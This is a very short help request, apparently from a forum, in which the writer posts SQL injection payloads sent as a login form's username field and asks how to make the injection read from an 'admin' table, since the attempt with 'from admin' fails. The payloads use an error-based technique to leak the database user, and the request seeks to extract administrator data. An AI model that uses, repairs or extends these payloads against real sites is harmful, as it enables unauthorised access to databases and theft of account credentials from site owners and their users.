help to inject here "from admin"

return=&username=sdsadssda%27+or+1+group+by+mid(us er(),rand(0))having+avg(0)%23&password=dsadsada

return=&username=sdsadssda%27+or+1+group+by+mid(us er(),rand(0) from admin)having+avg(0)%23&password=dsadsada doesn't work